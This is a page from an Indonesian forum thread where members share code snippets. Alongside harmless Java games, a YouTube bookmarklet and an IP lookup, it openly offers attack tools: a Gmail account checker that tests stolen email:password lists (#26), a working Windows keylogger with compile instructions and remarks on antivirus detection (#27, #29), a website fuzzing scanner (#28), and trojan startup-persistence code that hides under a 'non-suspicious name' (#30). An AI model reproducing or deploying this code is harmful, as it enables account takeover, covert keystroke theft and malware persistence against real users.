Page 2 of 4 FirstFirst 1234 LastLast
Results 16 to 30 of 54
http://idgs.in/199759
  1. #16

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Prog Lang : Javascript
    Fungsi : Youtube autodownload
    Cara menggunakan : Cukup Copy paste script ke URL form pada browser, jgn lupa mematikan addon yg sifatnya blocking javascript
    platform: All
    Spoiler untuk screenshot :
    Screenshot

    Code:
    javascript:b=fullscreenUrl;g=b.indexOf("t=");d=b.indexOf("&hl");h=b.substring(g,d);link="http://www.youtube.com/get_video?video_id=" + pageVideoId + "&" + h;location=(link);void(0)

  2. Hot Ad
  3. #17
    koker123's Avatar
    Join Date
    Jan 2007
    Location
    Somewhere on Earth
    Posts
    838
    Points
    993.90
    Thanks: 1 / 2 / 2

    Default

    ikutan nitip kk...
    iseng2 program simple hehehe...



    Prog Lang : Java
    Fungsi : simple guessing game kertas gunting batu with GUI
    platform: All
    Cara menggunakan : save file pertama dengan nama rockscissorpaper.java dan file kedua dengan nama run.java simpen dalam satu folder lalu compile

    cara compile
    Code:
    javac *.java
    lalu jalankan dengan command
    Code:
    java run
    Spoiler untuk code :

    Spoiler untuk code1 :

    Code:
    //######################################
    //#created by koker123 @ indogamers.com#
    //######################################
    
    
    
    import javax.swing.*;
    import java.awt.*;
    import java.awt.event.*;
    import java.util.Random;
    
    public class rockscissorpaper extends JFrame //guessing class
    {
    	//declare variable
    	private JButton okButton, exitButton;
    	private JRadioButton paperButton, scissorButton, rockButton;
    	private ButtonGroup radioGroup;
    	private JLabel label1;
    	private String choice;
    	
    	public rockscissorpaper()
    	{
    		super("Paper, Scissor, Rock");
    		setLayout( new FlowLayout() );
    		
    		label1 = new JLabel( "select your choice" );
    		label1.setToolTipText( "Choice" );
    		add ( label1 );
    		
    		paperButton = new JRadioButton( "paper", true);
    		scissorButton = new JRadioButton( "scissor", false );
    		rockButton = new JRadioButton( "rock", false );
    		add( paperButton );
    		add( scissorButton );
    		add( rockButton );
    		
    		radioGroup = new ButtonGroup();
    		radioGroup.add( paperButton );
    		radioGroup.add( scissorButton );
    		radioGroup.add( rockButton );
    		
    		okButton = new JButton( "ok" );
    		exitButton = new JButton( "exit" );
    		add( okButton );
    		add( exitButton );
    	
    		ButtonHandler handler = new ButtonHandler();
    		okButton.addActionListener( handler );
    		exitButton.addActionListener( handler );
    		
    		
    	}
    	
    	private class ButtonHandler implements ActionListener //button handler class
    	{
    		public void actionPerformed( ActionEvent event )
    		{
    		
    			if(event.getSource() == exitButton)
    			{
    				JOptionPane.showMessageDialog(null,"Thank You for Playing");
    				System.exit(0);
    			}
    
    			
    			if(event.getSource() == okButton)
    			{
    				if(paperButton.isSelected())
    					choice = "paper";
    				
    				else
    					if(scissorButton.isSelected() )
    						choice = "scissor";
    					
    				else
    					choice = "rock";
    			
    				random(choice);
    			}
    		} //end of action performed class
    			
    	
    	} //end of button handler class
    
    	
    	public static void random(String choice) //random class
    	{
    		Random generator = new Random();
    		String AI;
    		int randomNumber = generator.nextInt(3) + 1;
    		
    		if(randomNumber == 1)
    			AI = "rock";
    			
    		else
    			if(randomNumber == 2)
    				AI = "paper";
    				
    		else
    			AI = "sccisor";
    
    			
    		if(choice == "paper" && AI == "rock" || choice == "rock" && AI == "scissor" || choice == "scissor" && AI == "paper")
    			JOptionPane.showMessageDialog( null, choice + " vs " + AI  + "\n You WIN");
    		
    		if(choice == "rock" && AI == "paper" || choice == "scissor" && AI == "rock" || choice == "paper" && AI == "scissor")
    			JOptionPane.showMessageDialog( null, choice + " vs " + AI  + "\n You LOSE");
    			
    		if(choice == AI)
    			JOptionPane.showMessageDialog( null, choice + " vs " + AI  + "\n DRAW");
    			
    			
    	} //end of random class
    	
    } //end of rockscissorpaper class

    Spoiler untuk code2 :

    Code:
    //######################################
    //#created by koker123 @ indogamers.com#
    //######################################
    
    import javax.swing.JFrame;
    
    public class run
    {
    	public static void main(String args[])
    	{
    		rockscissorpaper game = new rockscissorpaper();
    		game.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
    		game.setSize( 320, 120 );
    		game.setVisible( true );
    	}
    } //end of run class


  4. #18

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    @koker123
    sedapp.. lanjutkan bro..

  5. #19
    koker123's Avatar
    Join Date
    Jan 2007
    Location
    Somewhere on Earth
    Posts
    838
    Points
    993.90
    Thanks: 1 / 2 / 2

    Default

    ntar dah kapan2 lagi
    bentar lagi dah mau ujian semester c >.<
    btw gw req deh
    code java biar ukuran windownya gak bisa d resize ama user

  6. #20

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Prog Lang : Java
    Fungsi : Mencari IP publik server
    Cara menggunakan : Save dengan namafile IPFinder.java kemudian compile dengan perintah
    Code:
    javac IPFinder.java
    eksekusi dengan perintah
    Code:
    java IPFinder
    platform: All

    Code:
    import java.net.*;
    import java.io.*;
    
    public class IPFinder {
      public static void main(String args[]) {
        String host="";
        BufferedReader input=new BufferedReader(new InputStreamReader(System.in));
        System.out.print("\n\nmasukkan hostname: ");
        try {
          host=input.readLine();
        } catch (Exception e) {
    
        }
        try {
          InetAddress address=InetAddress.getByName(host);
          System.out.println("IP Address: "+address);
        } catch (UnknownHostException ex) {
          System.out.println("Tidak bisa mencari host "+host);
        }
      }
    }

  7. #21

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by koker123 View Post
    ntar dah kapan2 lagi
    bentar lagi dah mau ujian semester c >.<
    btw gw req deh
    code java biar ukuran windownya gak bisa d resize ama user
    sebenernya ane ga jago java cuy, cuma emang bny sampelny aja dikompi,bekas sertifikasi >.< ane jarang ngoding di java, tapi buat pertanyaannya mungkin bisa sedikit..

    coba bikin nilai salah di fungsi setResizable();

    keq gni mungkin contohnya:

    Code:
    import javax.swing.*;
    
    class KonciWindows extends JFrame {
      private JButton btnExit=new JButton("Exit");
      public KonciWindows() {
        setTitle("==KonciWindows==");
        setLocation(200,100);
        setSize(400,400);
        setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        setResizable(false);
      }
      
     public void komponenVisual() {
        getContentPane().setLayout(null);
        setVisible(true);
    }
    
    
      public static void main(String args[]) {
        KonciWindows X = new KonciWindows();
        X.komponenVisual();
      }
    }

  8. #22
    koker123's Avatar
    Join Date
    Jan 2007
    Location
    Somewhere on Earth
    Posts
    838
    Points
    993.90
    Thanks: 1 / 2 / 2

    Default

    sep2 mantap heheheh...

  9. #23
    koker123's Avatar
    Join Date
    Jan 2007
    Location
    Somewhere on Earth
    Posts
    838
    Points
    993.90
    Thanks: 1 / 2 / 2

    Default

    Prog Lang : Java
    Fungsi : simple paint program
    Credit : Paul and Harvey, Java How to Program 7th Edition
    platform: All
    Cara menggunakan : save file pertama dengan nama PaintPanel.java dan file kedua dengan nama Painter.java simpen dalam satu folder lalu compile

    cara compile
    Code:
    javac *.java
    lalu jalankan dengan command
    Code:
    java Painter
    Spoiler untuk code :

    Spoiler untuk code1 :

    Code:
    import java.awt.Point;
    import java.awt.Graphics;
    import java.awt.event.MouseEvent;
    import java.awt.event.MouseMotionAdapter;
    import javax.swing.JPanel;
    
    public class PaintPanel extends JPanel
    {	
    	private int pointCount = 0; //count number of points
    	
    	//array of 10000 java.awt.Point references
    	private Point points[] = new Point[ 10000 ];
    	
    	//set up GUI and register mouse event handler
    	public PaintPanel()
    	{
    		//handle frame mouse motion event
    		addMouseMotionListener(
    		
    			new MouseMotionAdapter() //anonymous inner class
    			{
    				//store drag coordinates and repaint
    				public void mouseDragged( MouseEvent event )
    				{
    					if( pointCount < points.length )
    					{
    						points[ pointCount ] = event.getPoint(); //find point
    						pointCount++; //increment number of array
    						repaint(); //repaint JFrame
    					} //end if
    				} //end method mouseDragged
    			} //end anonymous inner class
    		); //end mouse listener
    	} // end PaintPanel contuructor
    	
    	//draw oval in a 4-by-4 bounding box at speccified location on window
    	public void paintComponent( Graphics g )
    	{
    		super.paintComponent( g ); //clears drawing area
    		
    		//draw all points in array
    		for( int i = 0; i < pointCount; i++ )
    			g.fillOval( points[ i ].x, points[ i ].y, 4 , 4 );
    	} //end method paintComponent
    } //end class PaintPanel

    Spoiler untuk code2 :

    Code:
    import java.awt.BorderLayout;
    import javax.swing.JFrame;
    import javax.swing.JLabel;
    
    public class Painter
    {
    	public static void main( String args[] )
    	{
    		//create JFrame
    		JFrame application = new JFrame( "A simple paint program" );
    		
    		PaintPanel paintPanel = new PaintPanel(); //create paint panel
    		application.add( paintPanel, BorderLayout.CENTER ); // in center
    		
    		//create a label and palce it in SOUTH of BorderLayout
    		application.add( new JLabel( "Drag the mouse to draw" ),
    			BorderLayout.SOUTH );
    			
    		application.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
    		application.setSize( 400, 200 );
    		application.setVisible( true );
    	} //end main
    } //end class Painter



    selamat mencoba..

  10. #24
    Trademaks's Avatar
    Join Date
    Oct 2006
    Location
    Indonesia
    Posts
    1,946
    Points
    3,106.70
    Thanks: 3 / 3 / 3

    Default

    req blh ?
    code C
    ttg algoritma WEB ENGINE .. ada gk ?

  11. #25

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by Trademaks View Post
    req blh ?
    code C
    ttg algoritma WEB ENGINE .. ada gk ?
    bisa lebih diperjelas bro? syntax php didalam bahasa C atau code web server menggunakan bahasa C? ane rada bngung ama kata "ttg algoritma WEB ENGINE"

  12. #26

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Prog Lang : Python
    Fungsi : Gmail Account Checker
    Cara menggunakan : Save dgn ekstensi .py jalankan dgn perintah :
    Code:
    python namefile.py <email_list>
    dimana <email_list> adalah file teks berisi account gmail
    platform: All
    Spoiler untuk code :

    Code:
    import sys, poplib 
     
    def printHelp(): 
        print '\nUsage: ./gmailcheck.py <emaillist>' 
        print 'Example: ./gmailcheck.py emails.txt' 
        print '\nNote: The accounts must be in the following format: user@gmail.com:password\n' 
     
     
    print ''' 
    \t _____           _ _ 
    \t|   __|_____ ___|_| | 
    \t|  |  |     | .'| | | 
    \t|_____|_|_|_|__,|_|_| 
    \t   Account Checker 
    ''' 
     
    if len(sys.argv) != 2: 
        printHelp() 
        exit(1) 
     
    #Change these if needed. 
    SAVEFILE = 'valid_accounts.txt' 
    HOST = 'pop.gmail.com' 
    PORT = 995 
     
    # Do not change anything below. 
    maillist = sys.argv[1] 
    valid = [] 
    currline = 0 
     
    try: 
        handle = open(maillist) 
    except: 
        print '\n[-] Could not open the accounts file. Check the file path and try again.' 
        print '\n[-] Quitting ...' 
        exit(1) 
     
    for line in handle: 
        currline += 1 
     
        try: 
            email = line.split(':')[0] 
            password = line.split(':')[1].replace('\n', '') 
        except: 
            print '\n[-] Erroneous account format at line %d.' % currline 
            print '[!] Accounts must be in the following format: user@gmail.com:password' 
            print '\n[-] Quitting ...' 
            exit(1) 
     
        try: 
            pop = poplib.POP3_SSL(HOST, PORT) 
            pop.user(email) 
            pop.pass_(password) 
            valid.append(email + ':' + password) 
            print '[+] Checking: %s <%s> -> Valid!' % (email, password) 
            pop.quit() 
        except: 
            print '[+] Checking: %s <%s> -> Invalid!' % (email, password) 
            pass 
     
    handle.close() 
    print '\n[+] Total Valid: %s' % len(valid) 
     
    if len(valid) > 0: 
        save = open(SAVEFILE, 'a') 
     
        for email in valid: 
            save.write(email + '\n') 
     
        save.close() 
     
        print '[+] The valid accounts are saved in "%s".' % SAVEFILE 
     
    print '\n[+] Done.\n'

  13. #27
    konde's Avatar
    Join Date
    Apr 2007
    Location
    where you live
    Posts
    239
    Points
    298.90
    Thanks: 2 / 0 / 0

    Default

    Quote Originally Posted by bl00d13z View Post
    Prog Lang : C++ (snippet)
    Fungsi : simple keylogger (output default C:\log.txt)
    Cara compile : standard C in win32
    platform: Windows

    Spoiler untuk code :

    #include <windows.h>
    #include <Winuser.h>
    #include <string>
    #include <fstream>


    std::string GetKey(int Key)
    {
    std::string KeyString = "";

    if (Key == 8)
    KeyString = "[delete]";
    else if (Key == 13)
    KeyString = "\n";
    else if (Key == 32)
    KeyString = " ";
    else if (Key == VK_PAUSE)
    KeyString = "[PAUSE]";
    else if (Key == VK_CAPITAL)
    KeyString = "[CAPITAL]";
    else if (Key == VK_SHIFT)
    KeyString = "[SHIFT]";
    else if (Key == VK_TAB)
    KeyString = "[TABULATOR]";
    else if (Key == VK_CONTROL)
    KeyString = "[CTRL]";
    else if (Key == VK_ESCAPE)
    KeyString = "[ESCAPE]";
    else if (Key == VK_END)
    KeyString = "[END]";
    else if (Key == VK_HOME)
    KeyString = "[HOME]";
    else if (Key == VK_LEFT)
    KeyString = "[left]";
    else if (Key == VK_RIGHT)
    KeyString = "[right]";
    else if (Key == VK_UP)
    KeyString = "[UP]";
    else if (Key == VK_DOWN)
    KeyString = "[DOWN]";
    else if (Key == VK_SNAPSHOT)
    KeyString = "[SNAPSHOT]";
    else if (Key == VK_NUMLOCK)
    KeyString = "[NUMLOCK]";
    else if (Key == 190 || Key == 110)
    KeyString = ".";
    else if (Key >=96 && Key <= 105)
    KeyString = Key-48;
    else if (Key > 47 && Key < 60)
    KeyString = Key;
    if (Key != VK_LBUTTON || Key != VK_RBUTTON)
    {
    if (Key > 64 && Key < 91)
    {
    if (GetKeyState(VK_CAPITAL))
    KeyString = Key;
    else
    {
    Key = Key + 32;
    KeyString = Key;
    }
    }
    }

    return KeyString;
    }

    int main()
    {
    std::string Filename = "C:\\log.txt";
    std::string TempString = "";
    std::fstream FStream;
    FStream.open(Filename.c_str(), std::fstream:ut | std::fstream::app);

    while(true)
    {

    Sleep(5);

    for(int i = 8; i < 191; i++)
    {
    if(GetAsyncKeyState(i)&1 ==1)
    {
    TempString = GetKey (i);

    FStream.write(TempString.c_str(), TempString.size());
    FStream.close();
    FStream.open(Filename.c_str(), std::fstream:ut | std::fstream::app);
    }
    }
    }
    }
    mod blood cr nerapin/makenya gimana neh bisa kasih SSnya gak biar ngerti? mngkn bkn cuma wa doank, mngkn member yng laen jg pd awam ma ginian jg x ya sory rada oot tntng ginian tp klo berbau keylogger kyna menarik neh
    Game as Easy as ****......



  14. #28

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Prog Lang : Python
    Fungsi : website structure fingerprinting
    Cara menggunakan : Save dgn ekstensi .py jalankan dgn perintah :
    Code:
    python namefile.py <hostname_server>
    dimana <hostname_server> adalah alamat dari server
    platform: All
    credits: low1z (darkc0de.com)

    Screenshot
    Spoiler untuk code :

    Code:
    #!/usr/bin/python
    #
    # website structure fingerprinting ...the dirty way
    # thanks to baltazar/adminfinder for inspiration
    #
    # low1z // www.darkc0de.com
    
    import urllib2, sys, httplib, threading, sets, socket, time, re
    
    site = sys.argv[1].replace("http://","").split("/",1)[0] 
    timeout = 2
    socket.setdefaulttimeout(timeout)
    
    threads = []
    numthreads = 8
    extensions = ['php','asp','aspx','cfm','html','htm']
    tmptable = []
    found = []
    final = []
    collected = []
    ldm = 'apr-24-09'
    version = '0.2'
    
    fuzztable = ['index', 'Index', 'About', 'view', 'access', 'account', 'act_hit', 'activate', 'adclick', 
    	     'add_channel', 'addfeed', 'addtestimonial', 'adentry', 'ad_link', 'admin', 'admin_upload', 'adn_count', 
    	     'adverclick', 'affi', 'afgb', 'afi', 'agt', 'album', 'albums', 'animation', 'annonces-add', 'announce_detail', 
    	     'announcement_content', 'apply', 'apricot', 'ARead', 'art', 'art_desc', 'article', 'article2', 'article_detail_parse', 
    	     'ArticleInfo', 'article_read', 'Article_Show', 'article_show_full', 'article_view', 'ArticleView', 'author', 
    	     'author_album', 'author_price', 'base', 'basket', 'batch', 'bbs', 'bbs_detail', 'bencandy', 'billboard01', 'b_link', 
    	     'blog', 'blogdetails', 'blog-entry', 'bloggermeet', 'blog_groups', 'blogind', 'blog_show', 'blog_story', 'board', 
    	     'board1', 'board_detail', 'book', 'bookmark', 'Books', 'browse', 'browse_image', 'BusinessReport', 
    	     'button', 'camp_detail', 'candidatedetails', 'cardshow', 'catalog', 'categories', 'category', 'cfidata', 'channel', 
    	     'Checkout', 'checkout_shipping', 'clanek_ukaz', 'clap', 'class_04', 'click', 'clickin', 'clickprod', 'CollectionList', 
    	     'collegeprice', 'columns', 'comeoncool', 'comment', 'comments', 'Community', 'company', 'company_search', 'contact', 
    	     'content', 'Content', 'content_new', 'contestant', 'control', 'coolfreelist', 'countblogstar', 'counter', 
    	     'examine_list', 'external', 'ExtLink', 'faculty_profile', 'fair_homepage', 'faq', 'features_show2a', 'file', 'files', 
    	     'films', 'form', 'formular', 'forum', 'forumdisplay', 'forumhome', 'forummessage', 'forum_messageDetail', 'forum_posts', 
    	     'forum_sub_posts', 'frame', 'fullstory', 'gbook', 'get', 'getInPageTarget', 'GetRelease', 
    	     'gocity', 'goodh', 'goods_comment', 'goout', 'goto', 'goto_freetel', 'gp_nl', 'graduate', 'group_page', 'group_topic', 
    	     'guest', 'guestbook', 'guestbook_new', 'GuestMagBN', 'heihei', 'help', 'hitlink', 'home', 'hrbclick', 'iboard', 
    	     'idevaffiliate', 'iframe', 'Image', 'img', 'include', 'index1', 'index2', 'index4', 'index_fo', 
    	     'indexmain', 'indexnew', 'index_u', 'Individual', 'info', 'infoadd', 'infopage', 'infoshow2', 'insert_post', 
                 'institutiondetail', 'international', 'into', 'invitation', 'inviteshow', 'isomil_valentine2_detail', 'item', 
    	     'item_detail', 'item_groups', 'j140s', 'Job', '_jobposting', 'jobs', 'join', 
    	     'newsmain', 'news_show', 'news_view', 'newthread', 'noscript', 'noticedet', 'notify', 'ocean-tracking', 'ocitview', 
    	     'offices-ser_news', 'OpenAd', 'optionmmi', 'original_index', 'out', 'page', 'pages', 
    	     'page-sanmin2', 'pageShw', 'parking', 'partydetails', 'permalink', 'PersonalSpace', 'plan', 'play', 'Play', 'player', 
    	     'pleasure', 'plugin', 'plugins', 'point', 'poll', 'pollbooth', 
    	     'pollsshow', 'post', 'postcard', 'posting', 'price', 'PriceList', 'print',
    	     'pro_def', 'product', 'product_detail', 'ProductDetails', 'product_info', 'products', 'profile', 
                 'profilesdetail', 'programimglist', 'projectdetails', 'projects', 'providepassword', 'psview', 
    	     'publicrelationView', 'publisher_titles', 'pub-stats', 'qk_qklx', 'qoblog', 'quickadd', 'quotations', 'rank', 'ranking', 
    	     'ranklink', 'read', 'readarticle', 'ReadNews', 'read_user', 'recruit', 'redir', 'redirect', 
    	     'regdom', 'regist', 'register', 'report_get', 'req', 'RequestQuote', 'Results', 'ribbon_link', 'rin', 'rsd', 'rss', 
    	     'rssFeed_it', 'rwcomments', 'sch', 'schedule', 'scielo', 'search', 'Search', 'search2', 
    	     'search_form', 'searchpicsnap', 'searchresults', 'selectintro', 'select_tokucho', 'sendemail', 'sendmessage', 'serve', 
    	     'shop', 'shop_fair', 'shopper_new', 'shopping_cart', 'show', 'ShowArtiChannel', 'showarticle', 
    	     'showblog', 'showcard', 'showclass', 'showhistory', 'show_miniworld', 'shownews', 'showNews', 'ShowNewsDetail', 
    	     'show_oc', 'showpage', 'show_photo', 'showpkn', 'showpost', 'showprofile', 'showquestion', 'showsp', 'showstats', 
    	     'showthread', 'showtrackback', 'show_want', 'signup', 'single', 'site', 'sitecome', 'smsmain', 
    	     'snapshots', 'soft_detail', 'sondages', 'sort', 'source', 'space', 'spacecp', 'special', 'specials', 
    	     'spip', 'spurl', 'start', 'stat', 'statistics', 'statistik', 'stats', 'sub', 'subcate_list', 'subforum', 
    	     'submit', 'subscribe', 'subscription', 'support', 'survey', 'tags', 'takeinfo_more', 'tana', 'task', 'tbh_sub', 
    	     'tblogread', 'tchinfo', 'teacher', 'tech_details', 'tenders', 'terms', 'T_examinat', 'thread', 'thumbnails', 'tier', 
    	     'top', 'topic', 'topicdetail', 'topics', 'topsites', 'tradeinfo', 'training', 'transfer', 'trip_detail',
    	     'trpSupport', 'tr_set', 'tryout_item', 'two', 'type', 'Type', 'ucp', 'user', 
    	     'User', 'userblog', 'userinfo', 'user_profile', 'user_register', 'usersettings', 
    	     'user_view', 'vanessa_video', 'vbimghost', 'video', 'videoByTag', 'videos', 'View', 'viewad', 
    	     'viewall', 'view_all_gallery', 'view_clip', 'viewdoc', 'viewEvent', 'viewfaculty', 
    	     'viewforum', 'viewinfo', 'view_inside', 'ViewItem', 'viewmessage', 'viewnews', 'view_news', 'ViewNews', 'viewphotos', 
    	     'viewpro', 'viewscat', 'viewstory', 'viewthread', 'viewtop', 'viewtopic', 'viewuser', 'view_video', 'viewwz', 
    	     'VIP_showLawyer_article', 'visit', 'vote', 'votealbum', 'voteArticle', 'wall', 'webarticle', 'webarticle2', 'webboard', 
    	     'webcounter', 'websearch', 'weekend_news_detail', 'welcome', 'wenji', 'whoischeck', 'worldwide', 'wp-login', 
    	     'wp-profile1', 'xiti', 'zoom']
    
    def pContent(url):
            try:
                    request_web = urllib2.Request(url);agent = 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)'
                    request_web.add_header('User-Agent', agent);opener_web = urllib2.build_opener()
                    text = opener_web.open(request_web).read();strreg = re.compile('(?<=href=")(.*?)(?=")')
                    names = strreg.findall(text);opener_web.close()
                    for name in names:
    			if site in name or '=' in name or name.startswith('/'):
    				global collected
    				collected.append(name)
    			elif site in name and EXT in name:
    				collected.append(name)
    			elif 'http://' in name:
    				collected.append(name)
    	except:
    		pass
    def Fuzz(entry):
    	try:
    		entry = "/" + entry
    		connection = httplib.HTTPConnection(site)
    		connection.request("GET",entry)
    		response = connection.getresponse()
    		if response.status == 200:
    			str = 'http://'+site+entry
    			print "Found : %s " % (str)
    			found.append(str)
    		else:
    			pass
    	except(KeyboardInterrupt,SystemExit):
    			raise
    	except:
    			pass	
    
    cnt = 1
    print "   _         _   _____             _ "
    print " _| |___ ___| |_|_   _|___ _ _ ___| |_   author : low1z"
    print "| . | .'|  _| '_| | | | . | | |  _|   |    date :",ldm
    print "|___|__,|_| |_,_| |_| |___|___|___|_|_| version :",version
    print "\n Website Structure Fingerprinting *beta*"
    print "- keep in mind, we only collect = links here -\n"
    for val in extensions: print cnt,":", val;cnt += 1
    EXTnr = raw_input('\nChoose Server FileExtension [1-5]:')
    EXT = extensions[int(EXTnr)-1]
    
    for entry in fuzztable:
    	tmptable.append(entry+'.'+EXT)
    print "\n>> Fuzzing for ."+EXT+" Files....\n"
    for entry in tmptable: Fuzz(entry)
    for entry in found: pContent(entry)	
    
    for entry in collected:
    	if entry.startswith('/') and EXT in entry and '=' in entry:
    		final.append('http://'+site+entry)
    	elif entry.startswith('http://') and site in entry and EXT in entry:
    		final.append(entry)
    	else:
    		pass
    
    if len(final) > 2:
    	final.sort();lastEntry = final[-1]
    	for e in range(len(final)-2, -1, -1):
    		try:
    	        	LE = lastEntry.split('?')
    	                fURLS = final[e].split('?')
    			if LE[0] == fURLS[0]:
    	        		del final[e]
    		        else:
    	        		lastEntry = final[e]
    	        except(IndexError):
    			pass
    
    print "\n>> Found :", len(final), "Strings\n"
    for entry in final:
    	print entry

  15. #29

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by konde View Post
    mod blood cr nerapin/makenya gimana neh bisa kasih SSnya gak biar ngerti? mngkn bkn cuma wa doank, mngkn member yng laen jg pd awam ma ginian jg x ya sory rada oot tntng ginian tp klo berbau keylogger kyna menarik neh
    yg pertama jelas siapin dulu compilernya bro.. kalo saya biasa pake bloodshed devC++,atau LCC gratis soalnya.. kalo mau bisa download disini

    Code:
    http://biznetnetworks.dl.sourceforge.net/sourceforge/dev-cpp/devcpp-4.9.9.2_setup.exe
    buka devC++nya trus masukin sourcenya.. compile deh..kalo sukses keq gni krg lebih tampilannya tar..
    nah setelah dicompile nanti ada file .exe yg dibentuk, tgl jalanin deh tu exe,. setelah dijalankan kamu bisa tes ketik apapun di keyboard.. dan nanti ada file log.txt yg terbentuk di drive C: (ini bisa dirubah kok di scriptnya)

    NB: ini script keyloger yg masih simpel, blum ada fungsi hidden process,encrypt fungsi/raw bit,dll utk bypass scanning AV..jadi pada saat compile dan file .exe terbentuk AV biasanya sudah mengenali ini sebagai keylog, dan jika dieksekusi pun masih tampil layar prompt yg bisa di close untuk menghentikan proses keylognya..

  16. #30

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Prog Lang : C (windows)
    Fungsi : menambah executable file ke startup
    Cara menggunakan : Save dgn ekstensi .c compile dgn compiler kesukaan anda
    platform: Windows
    credits: c0mrade a.k.a b1n4ry_g33k5

    Code:
    #include <windows.h> 
    #define DATA "trojanname.exe" 
     
    int main() 
    { 
       HKEY key; 
     
       CopyFile("trojanname.exe", "c:\\windows\\system32\\trojanname.exe", 0); 
     
       RegCreateKeyEx(HKEY_LOCAL_MACHINE, 
       "SOFTWARE\\ Microsoft\\Windows \\CurrentVersion\\Run", 0, NULL, 
       REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, 
                      &key, 0); 
     
       RegSetValueExA(key, "non-suspicious name", 0, REG_SZ, DATA, 50); 
       RegCloseKey(autoKey); 
     
    }

Page 2 of 4 FirstFirst 1234 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •